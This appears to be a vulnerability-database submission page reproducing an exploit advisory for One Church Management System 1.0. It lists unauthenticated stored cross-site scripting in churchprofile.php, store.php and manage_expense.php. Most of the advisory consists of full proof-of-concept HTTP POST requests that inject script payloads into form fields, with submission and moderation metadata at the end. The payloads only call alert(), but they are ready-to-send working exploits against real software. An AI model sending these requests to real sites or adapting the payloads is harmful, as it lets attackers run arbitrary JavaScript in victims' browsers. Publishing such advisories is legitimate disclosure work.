Submeter #32947: One Church Management System 1.0 - Multiple Cross-site Scripting

# Exploit Title: One Church Management System 1.0 - Multiple Cross-site Scripting
# Date: 17/03/2022
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html
# Version: 1.0
# Tested on: Linux

Title:
================
One Church Management System 1.0 - Multiple Cross-site Scripting

Summary:
================
The One Church Management System is affected by several applications with the vulnerability of Cross-site Scripting due to the lack of hygiene in certain parameters. The attacker can take advantage of this flaw to inject arbitrary javascript code to manipulate the victim's browser capabilities.

Severity Level:
================
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Affected Product:
================
One Church Management System v1.0

Steps to Reproduce:
================

* churchprofile.php XSS (unauthenticated) PoC:

POST /one_church/churchprofile.php HTTP/1.1
Host: target.com
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/churchprofile.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

companyname=<XSS HERE>&regno=<XSS HERE>&companyaddress=<XSS HERE>&companyemail=<XSS HERE>&country=India&mobilenumber=%2B919423979339&submit=

======================================================================

* store.php XSS (unauthenticated) PoC:

POST /one_church/store.php HTTP/1.1
Host: target.com
Content-Length: 380
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV1aumPNc5OAr8WJV
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/store.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryV1aumPNc5OAr8WJV
Content-Disposition: form-data; name="itemname"

"><script>alert("XSS")</script>
------WebKitFormBoundaryV1aumPNc5OAr8WJV
Content-Disposition: form-data; name="descrip"

"><script>alert("XSS")</script>
------WebKitFormBoundaryV1aumPNc5OAr8WJV
Content-Disposition: form-data; name="insert"

------WebKitFormBoundaryV1aumPNc5OAr8WJV--

======================================================================

* manage_expense.php XSS (unauthenticated) PoC:

POST /one_church/manage_expense.php HTTP/1.1
Host: target.com
Content-Length: 402
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2XF7C8775FV2TQ4y
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target.com/one_church/manage_expense.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundary2XF7C8775FV2TQ4y
Content-Disposition: form-data; name="expense_category"

"><script>alert("XSS")</script>
------WebKitFormBoundary2XF7C8775FV2TQ4y
Content-Disposition: form-data; name="detail"

"><script>alert("XSS")</script>
------WebKitFormBoundary2XF7C8775FV2TQ4y
Content-Disposition: form-data; name="submitexpense"

------WebKitFormBoundary2XF7C8775FV2TQ4y--

======================================================================

• Fonte: ⚠️ https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html
• Utilizador: mrempy (UID 24379)
• Submissão: 18/03/2022 02h40 (há 4 anos)
• Moderação: 18/03/2022 08h01 (5 hours later)
• Estado: Aceite
• Entrada VulDB: 195426 [SourceCodester One Church Management System churchprofile.php companyname/regno/companyaddress/companyemail Script de Site Cruzado]
• Pontos: 20